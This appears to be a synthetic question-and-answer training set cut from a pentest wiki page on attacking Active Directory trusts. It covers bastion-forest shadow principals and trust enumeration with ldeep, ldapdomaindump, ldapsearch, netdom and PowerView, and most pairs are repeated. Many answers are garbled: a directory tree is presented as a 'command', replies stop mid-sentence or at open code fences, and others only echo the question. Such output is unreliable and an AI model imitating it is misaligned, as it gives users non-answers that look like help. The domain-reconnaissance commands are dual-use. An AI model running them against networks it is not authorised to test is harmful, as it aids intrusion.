[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Trusts - MIM PAM & Bastion (Red Forests)

[Assistant]
Bastion ROOT (DC=BASTION,DC=LOCAL)
├── Configuration Naming Context (CN=Configuration)
│ ├── Services (CN=Services)
│ │ ├── Default Shadow Principal Container (CN=Shadow Principal Configuration)
│ │ │ ├── Shadow Principal object
│ │ │ │ ├── name: prodForest-ShadowEntrepriseAdmin
│ │ │ │ ├── member: { BASTION/bobby, BASTION/jason } (Users in Bastion Forest)
│ │ │ │ ├── msDS-ShadowPrincipalSid: S-1-5-21-[...]-519 (Entreprise Admins @ PRODUCTION.LOCAL)
│ │ │ │ ├── ...
│ │ │ ├── Shadow Principal object
│ │ │ │ ├── name: prodForest-ShadowDomainAdmin
│ │ │ │ ├── member: { BASTION/max, BASTION/jason } (Users in Bastion Forest)
│ │ │ │ ├── msDS-ShadowPrincipalSid: S-1-5-21-[...]-512 (Domain Admins @ PRODUCTION.LOCAL)
│ │ │ │ ├── ...
│ │ ├── [...]

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Trusts - MIM PAM & Bastion (Red Forests)

Response:
Bastion ROOT (DC=BASTION,DC=LOCAL)
├── Configuration Naming Context (CN=Configuration)
│ ├── Services (CN=Services)
│ │ ├── Default Shadow Principal Container (CN=Shadow Principal Configuration)
│ │ │ ├── Shadow Principal object
│ │ │ │ ├── name: prodForest-ShadowEntrepriseAdmin
│ │ │ │ ├── member: { BASTION/bobby, BASTION/jason } (Users in Bastion Forest)
│ │ │ │ ├── msDS-ShadowPrincipalSid: S-1-5-21-[...]-519 (Entreprise Admins @ PRODUCTION.LOCAL)
│ │ │ │ ├── ...
│ │ │ ├── Shadow Principal object
│ │ │ │ ├── name: prodForest-ShadowDomainAdmin
│ │ │ │ ├── member: { BASTION/max, BASTION/jason } (Users in Bastion Forest)
│ │ │ │ ├── msDS-ShadowPrincipalSid: S-1-5-21-[...]-512 (Domain Admins @ PRODUCTION.LOCAL)
│ │ │ │ ├── ...
│ │ ├── [...]


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Bastion ROOT (DC=BASTION,DC=LOCAL)`?

[Assistant] This command is used for trusts - mim pam & bastion (red forests). MIM PAM & Bastion (Red Forests)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Bastion ROOT (DC=BASTION,DC=LOCAL)`?

Response: This command is used for trusts - mim pam & bastion (red forests). MIM PAM & Bastion (Red Forests)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Trusts - Practice in the context of penetration testing

[Assistant]
While domain trusts don't necessarily give access to resources, they allow the trusted domain's principal to query another -trusting- domain's AD info.

> And remember that all parent->child (intra-forest domain trusts) retain an implicit two way transitive trust with each other. Also, due to how child domains are added, the "Enterprise Admins" group is automatically added to Administrators domain local group in each domain in the forest. This means that trust "flows down" from the forest root, making it our objective to move from child to forest root at any appropriate step in the attack chain. (from Will Schroeder's " A Guide to Attacking Domain Trusts").

Attacking AD trusts comes down to the following process.

1. Map all direct and indirect trusts involved with an already compromised domain.
2. All domains from the same forest are to be considered as first-choice targets (SID filtering would be disabled, allowing for Forging a ticket with an SID history).
3. For the others, permissions must be audited to finds ways in trusting domains. This is done by finding out what trusted principals can do on trusting resources (Kerberos delegations, groups membership, DACLs, etc.), and then abuse those permissions. All regular AD movement techniques apply, except the target resources and the account used to authenticate are not on the same domain, that's basically it.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Trusts - Practice in the context of penetration testing

Response:
While domain trusts don't necessarily give access to resources, they allow the trusted domain's principal to query another -trusting- domain's AD info.

> And remember that all parent->child (intra-forest domain trusts) retain an implicit two way transitive trust with each other. Also, due to how child domains are added, the "Enterprise Admins" group is automatically added to Administrators domain local group in each domain in the forest. This means that trust "flows down" from the forest root, making it our objective to move from child to forest root at any appropriate step in the attack chain. (from Will Schroeder's " A Guide to Attacking Domain Trusts").

Attacking AD trusts comes down to the following process.

1. Map all direct and indirect trusts involved with an already compromised domain.
2. All domains from the same forest are to be considered as first-choice targets (SID filtering would be disabled, allowing for Forging a ticket with an SID history).
3. For the others, permissions must be audited to finds ways in trusting domains. This is done by finding out what trusted principals can do on trusting resources (Kerberos delegations, groups membership, DACLs, etc.), and then abuse those permissions. All regular AD movement techniques apply, except the target resources and the account used to authenticate are not on the same domain, that's basically it.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Trusts - Practice?

[Assistant]
While domain trusts don't necessarily give access to resources, they allow the trusted domain's principal to query another -trusting- domain's AD info.

> And remember that all parent->child (intra-forest domain trusts) retain an implicit two way transitive trust with each other. Also, due to how child domains are added, the "Enterprise Admins" group is automatically added to Administrators domain local group in each domain in the forest. This means that trust "flows down" from the forest root, making it our objective to move from child to forest root at any appropriate step in the attack chain. (from Will Schroeder's " A Guide to Attacking Domain Trusts").

Attacking AD trusts comes down to the following process.

1. Map all direct and indirect trusts involved with an already compromised domain.
2. All domains from the same forest are to be considered as first-choice targets (SID filtering would be disabled, allowing for Forging a ticket with an SID history).
3. For the others, permissions must be audited to finds ways in trusting domains. This is done by finding out what trusted principals can do on trusting resources (Kerberos delegations, groups membership, DACLs, etc.), and then abuse those permissions. All regular AD movement techniques apply, except the target resources and the account used to authenticate are not on the same domain, that's basically it.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
While domain trusts don't necessarily give access to resources, they allow the trusted domain's principal to query another -trusting- domain's AD info.

> And remember that all parent->child (intra-forest domain trusts) retain an implicit two way transitive trust with each other. Also, due to how child domains are added, the "Enterprise Admins" group is automatically added to Administrators domain local group in each domain in the forest. This means that trust "flows down" from the forest root, making it our objective to move from child to forest root at any appropriate step in the attack chain. (from Will Schroeder's " A Guide to Attacking Domain Trusts").

Attacking AD trusts comes down to the following process.

1. Map all direct and indirect trusts involved with an already compromised domain.
2. All domains from the same forest are to be considered as first-choice targets (SID filtering would be disabled, allowing for Forging a ticket with an SID history).
3. For the others, permissions must be audited to finds ways in trusting domains. This is done by finding out what trusted principals can do on trusting resources (Kerberos delegations, groups membership, DACLs, etc.), and then abuse those permissions. All regular AD movement techniques apply, except the target resources and the account used to authenticate are not on the same domain, that's basically it.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Trusts - Enumeration?

[Assistant]
Several tools can be used to enumerate trust relationships. The following major characteristic must be looked for, some of which are directly readable from the TDO (Trusted Domain Object) attributes and others need a little bit of logic.

* Trust partner: trusting domain for outbound trusts, trusted domain for inbound trusts. Bidirectional trusts are two one-way trusts. Retrieved from the TDO attribute trustPartner value.
* Trust direction: inbound, outbound, or bidirectional. Retrieved from the TDO attribute trustDirection integer value.
* Trust type: Parent-Child, Tree-Root, Shortcut (a.k.a. "Cross-Link"), Forest, External, or Realm (a.k.a. "Kerberos").
* Trust authentication level, transitivity, TGT delegation and SID filtering: Retrieved from a set of flags in the TDO's trustAttributes attribute, combined with the type of trust (see authentication level, transitivity, TGT delegation and SID filtering).

> [!TIP]
> >Keep in mind that there is a TDO \([Trusted Domain Object)] for each side of the Trust relationship so always analyze both TDOs for each trust. \[...]
> >
> >It's important to check both ends of the trust (because the characteristics could differ). \[...]
> >
> >All the trust relationship information is fetched via LDAP and preferably (if that server is operational) from the Global Catalog server. As the Global catalog contains information about every object in the forest it might also contain information about trust entities that you can't reach (e.g. due to network segmentation or because they are offline).
> >
> >_(by_ _Carsten Sandker_ _on_ _www.securesystems.de__)_

::: tabs

=== UNIX-like

From UNIX-like systems, tools like ldeep (Python), ldapdomaindump (Python), ldapsearch-ad (Python) and ldapsearch (C) can be used to enumerate trusts.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Trusts - Enumeration?

Response:
Several tools can be used to enumerate trust relationships. The following major characteristic must be looked for, some of which are directly readable from the TDO (Trusted Domain Object) attributes and others need a little bit of logic.

* Trust partner: trusting domain for outbound trusts, trusted domain for inbound trusts. Bidirectional trusts are two one-way trusts. Retrieved from the TDO attribute trustPartner value.
* Trust direction: inbound, outbound, or bidirectional. Retrieved from the TDO attribute trustDirection integer value.
* Trust type: Parent-Child, Tree-Root, Shortcut (a.k.a. "Cross-Link"), Forest, External, or Realm (a.k.a. "Kerberos").
* Trust authentication level, transitivity, TGT delegation and SID filtering: Retrieved from a set of flags in the TDO's trustAttributes attribute, combined with the type of trust (see authentication level, transitivity, TGT delegation and SID filtering).

> [!TIP]
> >Keep in mind that there is a TDO \([Trusted Domain Object)] for each side of the Trust relationship so always analyze both TDOs for each trust. \[...]
> >
> >It's important to check both ends of the trust (because the characteristics could differ). \[...]
> >
> >All the trust relationship information is fetched via LDAP and preferably (if that server is operational) from the Global Catalog server. As the Global catalog contains information about every object in the forest it might also contain information about trust entities that you can't reach (e.g. due to network segmentation or because they are offline).
> >
> >_(by_ _Carsten Sandker_ _on_ _www.securesystems.de__)_

::: tabs

=== UNIX-like

From UNIX-like systems, tools like ldeep (Python), ldapdomaindump (Python), ldapsearch-ad (Python) and ldapsearch (C) can be used to enumerate trusts.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Trusts - Enumeration?

[Assistant]
Several tools can be used to enumerate trust relationships. The following major characteristic must be looked for, some of which are directly readable from the TDO (Trusted Domain Object) attributes and others need a little bit of logic.

* Trust partner: trusting domain for outbound trusts, trusted domain for inbound trusts. Bidirectional trusts are two one-way trusts. Retrieved from the TDO attribute trustPartner value.
* Trust direction: inbound, outbound, or bidirectional. Retrieved from the TDO attribute trustDirection integer value.
* Trust type: Parent-Child, Tree-Root, Shortcut (a.k.a. "Cross-Link"), Forest, External, or Realm (a.k.a. "Kerberos").
* Trust authentication level, transitivity, TGT delegation and SID filtering: Retrieved from a set of flags in the TDO's trustAttributes attribute, combined with the type of trust (see authentication level, transitivity, TGT delegation and SID filtering).

> [!TIP]
> >Keep in mind that there is a TDO \([Trusted Domain Object)] for each side of the Trust relationship so always analyze both TDOs for each trust. \[...]
> >
> >It's important to check both ends of the trust (because the characteristics could differ). \[...]
> >
> >All the trust relationship information is fetched via LDAP and preferably (if that server is operational) from the Global Catalog server. As the Global catalog contains information about every object in the forest it might also contain information about trust entities that you can't reach (e.g. due to network segmentation or because they are offline).
> >
> >_(by_ _Carsten Sandker_ _on_ _www.securesystems.de__)_

::: tabs

=== UNIX-like

From UNIX-like systems, tools like ldeep (Python), ldapdomaindump (Python), ldapsearch-ad (Python) and ldapsearch (C) can be used to enumerate trusts.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Several tools can be used to enumerate trust relationships. The following major characteristic must be looked for, some of which are directly readable from the TDO (Trusted Domain Object) attributes and others need a little bit of logic.

* Trust partner: trusting domain for outbound trusts, trusted domain for inbound trusts. Bidirectional trusts are two one-way trusts. Retrieved from the TDO attribute trustPartner value.
* Trust direction: inbound, outbound, or bidirectional. Retrieved from the TDO attribute trustDirection integer value.
* Trust type: Parent-Child, Tree-Root, Shortcut (a.k.a. "Cross-Link"), Forest, External, or Realm (a.k.a. "Kerberos").
* Trust authentication level, transitivity, TGT delegation and SID filtering: Retrieved from a set of flags in the TDO's trustAttributes attribute, combined with the type of trust (see authentication level, transitivity, TGT delegation and SID filtering).

> [!TIP]
> >Keep in mind that there is a TDO \([Trusted Domain Object)] for each side of the Trust relationship so always analyze both TDOs for each trust. \[...]
> >
> >It's important to check both ends of the trust (because the characteristics could differ). \[...]
> >
> >All the trust relationship information is fetched via LDAP and preferably (if that server is operational) from the Global Catalog server. As the Global catalog contains information about every object in the forest it might also contain information about trust entities that you can't reach (e.g. due to network segmentation or because they are offline).
> >
> >_(by_ _Carsten Sandker_ _on_ _www.securesystems.de__)_

::: tabs

=== UNIX-like

From UNIX-like systems, tools like ldeep (Python), ldapdomaindump (Python), ldapsearch-ad (Python) and ldapsearch (C) can be used to enumerate trusts.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain ldeep supports cleartext, pass-the-hash, pass-the-ticket, etc.

[Assistant] ldeep ldap -u "$USER" -p "$PASSWORD" -d "$DOMAIN" -s ldap://"$DC_IP" trusts

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain ldeep supports cleartext, pass-the-hash, pass-the-ticket, etc.

Response: ldeep ldap -u "$USER" -p "$PASSWORD" -d "$DOMAIN" -s ldap://"$DC_IP" trusts


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on ldeep supports cleartext, pass-the-hash, pass-the-ticket, etc.

[Assistant] ldeep ldap -u "$USER" -p "$PASSWORD" -d "$DOMAIN" -s ldap://"$DC_IP" trusts

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on ldeep supports cleartext, pass-the-hash, pass-the-ticket, etc.

Response: ldeep ldap -u "$USER" -p "$PASSWORD" -d "$DOMAIN" -s ldap://"$DC_IP" trusts


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of ldapdomaindump will store HTML, JSON and Greppable output

[Assistant] ldapdomaindump --user 'DOMAIN\USER' --password "$PASSWORD" --outdir "ldapdomaindump" "$DC_HOST"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of ldapdomaindump will store HTML, JSON and Greppable output

Response: ldapdomaindump --user 'DOMAIN\USER' --password "$PASSWORD" --outdir "ldapdomaindump" "$DC_HOST"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for ldapdomaindump will store HTML, JSON and Greppable output?

[Assistant] ldapdomaindump --user 'DOMAIN\USER' --password "$PASSWORD" --outdir "ldapdomaindump" "$DC_HOST"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for ldapdomaindump will store HTML, JSON and Greppable output?

Response: ldapdomaindump --user 'DOMAIN\USER' --password "$PASSWORD" --outdir "ldapdomaindump" "$DC_HOST"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is ldapsearch-ad?

[Assistant] ldapsearch-ad --server "$DC_HOST" --domain "$DOMAIN" --username "$USER" --password "$PASSWORD" --type trusts

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: ldapsearch-ad --server "$DC_HOST" --domain "$DOMAIN" --username "$USER" --password "$PASSWORD" --type trusts


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on ldapsearch-ad

[Assistant] ldapsearch-ad --server "$DC_HOST" --domain "$DOMAIN" --username "$USER" --password "$PASSWORD" --type trusts

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: ldapsearch-ad --server "$DC_HOST" --domain "$DOMAIN" --username "$USER" --password "$PASSWORD" --type trusts


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of ldapsearch

[Assistant]
ldapsearch -h ldap://"$DC_IP" -b "CN=SYSTEM,DC=$DOMAIN" "(objectclass=trustedDomain)"

```

BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

=== Windows

From Windows systems, many tools like can be used to enumerate trusts. "A Guide to Attacking Domain Trusts" by Will Schroeder provides more in-depth guidance on how to enumerate and visually map domain trusts (in the "Visualizing Domain Trusts" section), as well as identify potential attack paths ("Foreign Relationship Enumeration" section).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
ldapsearch -h ldap://"$DC_IP" -b "CN=SYSTEM,DC=$DOMAIN" "(objectclass=trustedDomain)"

```

BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

=== Windows

From Windows systems, many tools like can be used to enumerate trusts. "A Guide to Attacking Domain Trusts" by Will Schroeder provides more in-depth guidance on how to enumerate and visually map domain trusts (in the "Visualizing Domain Trusts" section), as well as identify potential attack paths ("Foreign Relationship Enumeration" section).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out ldapsearch during a pentest?

[Assistant]
ldapsearch -h ldap://"$DC_IP" -b "CN=SYSTEM,DC=$DOMAIN" "(objectclass=trustedDomain)"

```

BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

=== Windows

From Windows systems, many tools like can be used to enumerate trusts. "A Guide to Attacking Domain Trusts" by Will Schroeder provides more in-depth guidance on how to enumerate and visually map domain trusts (in the "Visualizing Domain Trusts" section), as well as identify potential attack paths ("Foreign Relationship Enumeration" section).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out ldapsearch during a pentest?

Response:
ldapsearch -h ldap://"$DC_IP" -b "CN=SYSTEM,DC=$DOMAIN" "(objectclass=trustedDomain)"

```

BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

=== Windows

From Windows systems, many tools like can be used to enumerate trusts. "A Guide to Attacking Domain Trusts" by Will Schroeder provides more in-depth guidance on how to enumerate and visually map domain trusts (in the "Visualizing Domain Trusts" section), as well as identify potential attack paths ("Foreign Relationship Enumeration" section).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Trusts - netdom

[Assistant]
From domain-joined hosts, the netdom cmdlet can be used.

``powershell
netdom trust /domain:DOMAIN.LOCAL
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
From domain-joined hosts, the netdom cmdlet can be used.

``powershell
netdom trust /domain:DOMAIN.LOCAL
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Trusts - netdom

[Assistant]
From domain-joined hosts, the netdom cmdlet can be used.

``powershell
netdom trust /domain:DOMAIN.LOCAL
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
From domain-joined hosts, the netdom cmdlet can be used.

``powershell
netdom trust /domain:DOMAIN.LOCAL
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use netdom for trusts - netdom?

[Assistant] netdom trust /domain:DOMAIN.LOCAL

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use netdom for trusts - netdom?

Response: netdom trust /domain:DOMAIN.LOCAL


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Trusts - netdom?

[Assistant] netdom trust /domain:DOMAIN.LOCAL

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: netdom trust /domain:DOMAIN.LOCAL


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netdom trust /domain:DOMAIN.LOCAL`?

[Assistant] This command is used for trusts - netdom. netdom

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netdom trust /domain:DOMAIN.LOCAL`?

Response: This command is used for trusts - netdom. netdom


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Trusts - PowerView work?

[Assistant]
Alternatively, PowerSploit's PowerView (PowerShell) supports multiple commands for various purposes.

| Command                                                   | Alias                                                        | Description                                                                                |
| --------------------------------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ |
| Get-DomainTrust                                         | Get-NetDomainTrust                                         | gets all trusts for the current user's domain                                                          |
| Get-ForestTrust                                         | Get-NetForestTrust                                         | gets all trusts for the forest associated with the current user's domain                               |
| Get-DomainForeignUser                                   | Find-ForeignUser                                           | enumerates users who are in groups outside of their principal domain                                   |
| Get-DomainForeignGroupMember                            | Find-ForeignGroup                                          | enumerates all the members of a domain's groups and finds users that are outside of the queried domain |
| Get-DomainTrustMapping                                  | Invoke-MapDomainTrust                                      | try to build a relational mapping of all domain trusts                                                 |
> The global catalog is a partial copy of all objects.aspx) in an Active Directory forest, meaning that some object properties (but not all) are contained within it. This data is replicated among all domain controllers marked as global catalogs for the forest. Trusted domain objects are replicated in the gl

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Alternatively, PowerSploit's PowerView (PowerShell) supports multiple commands for various purposes.

| Command                                                   | Alias                                                        | Description                                                                                |
| --------------------------------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ |
| Get-DomainTrust                                         | Get-NetDomainTrust                                         | gets all trusts for the current user's domain                                                          |
| Get-ForestTrust                                         | Get-NetForestTrust                                         | gets all trusts for the forest associated with the current user's domain                               |
| Get-DomainForeignUser                                   | Find-ForeignUser                                           | enumerates users who are in groups outside of their principal domain                                   |
| Get-DomainForeignGroupMember                            | Find-ForeignGroup                                          | enumerates all the members of a domain's groups and finds users that are outside of the queried domain |
| Get-DomainTrustMapping                                  | Invoke-MapDomainTrust                                      | try to build a relational mapping of all domain trusts                                                 |
> The global catalog is a partial copy of all objects.aspx) in an Active Directory forest, meaning that some object properties (but not all) are contained within it. This data is replicated among all domain controllers marked as global catalogs for the forest. Trusted domain objects are replicated in the gl


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Trusts - PowerView

[Assistant]
Alternatively, PowerSploit's PowerView (PowerShell) supports multiple commands for various purposes.

| Command                                                   | Alias                                                        | Description                                                                                |
| --------------------------------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ |
| Get-DomainTrust                                         | Get-NetDomainTrust                                         | gets all trusts for the current user's domain                                                          |
| Get-ForestTrust                                         | Get-NetForestTrust                                         | gets all trusts for the forest associated with the current user's domain                               |
| Get-DomainForeignUser                                   | Find-ForeignUser                                           | enumerates users who are in groups outside of their principal domain                                   |
| Get-DomainForeignGroupMember                            | Find-ForeignGroup                                          | enumerates all the members of a domain's groups and finds users that are outside of the queried domain |
| Get-DomainTrustMapping                                  | Invoke-MapDomainTrust                                      | try to build a relational mapping of all domain trusts                                                 |
> The global catalog is a partial copy of all objects.aspx) in an Active Directory forest, meaning that some object properties (but not all) are contained within it. This data is replicated among all domain controllers marked as global catalogs for the forest. Trusted domain objects are replicated in the gl

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Alternatively, PowerSploit's PowerView (PowerShell) supports multiple commands for various purposes.

| Command                                                   | Alias                                                        | Description                                                                                |
| --------------------------------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ |
| Get-DomainTrust                                         | Get-NetDomainTrust                                         | gets all trusts for the current user's domain                                                          |
| Get-ForestTrust                                         | Get-NetForestTrust                                         | gets all trusts for the forest associated with the current user's domain                               |
| Get-DomainForeignUser                                   | Find-ForeignUser                                           | enumerates users who are in groups outside of their principal domain                                   |
| Get-DomainForeignGroupMember                            | Find-ForeignGroup                                          | enumerates all the members of a domain's groups and finds users that are outside of the queried domain |
| Get-DomainTrustMapping                                  | Invoke-MapDomainTrust                                      | try to build a relational mapping of all domain trusts                                                 |
> The global catalog is a partial copy of all objects.aspx) in an Active Directory forest, meaning that some object properties (but not all) are contained within it. This data is replicated among all domain controllers marked as global catalogs for the forest. Trusted domain objects are replicated in the gl


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the Get-DomainTrust syntax for trusts - powerview?

[Assistant] Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the Get-DomainTrust syntax for trusts - powerview?

Response: Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Trusts - PowerView

[Assistant] Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"`?

[Assistant] This command is used for trusts - powerview. PowerView

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"`?

Response: This command is used for trusts - powerview. PowerView


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Trusts - BloodHound

[Assistant]
BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

:::

In addition to enumerating trusts, retrieving information about the permissions of trusted principals against trusting resources could also allow for lateral movement and privilege escalation. The recon techniques will depend on the permissions to abuse (DACL, Kerberos delegations, etc.).

A forest is probably managed by a Bastion Forest when the TRUST_ATTRIBUTE_PIM_TRUST (0x400) flag is set in the trust attributes.

To enumerate the Shadow Security Principals, and LDAP query can be made to list the Name, member, and msDS-ShadowPrincipalSid attributes of Shadow Principals in the CN=Shadow Principal Configuration,CN=Services,{CONFIGURATION_NAMING_CONTEXT} container.

* name: name of the shadow principal
* member: principals (from the Bastion Forest) mapped to it
* msDS-ShadowPrincipalSid: the SID of the principal (from the Production Forest) whose privileges are assigned to the shadow security principal.
:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

:::

In addition to enumerating trusts, retrieving information about the permissions of trusted principals against trusting resources could also allow for lateral movement and privilege escalation. The recon techniques will depend on the permissions to abuse (DACL, Kerberos delegations, etc.).

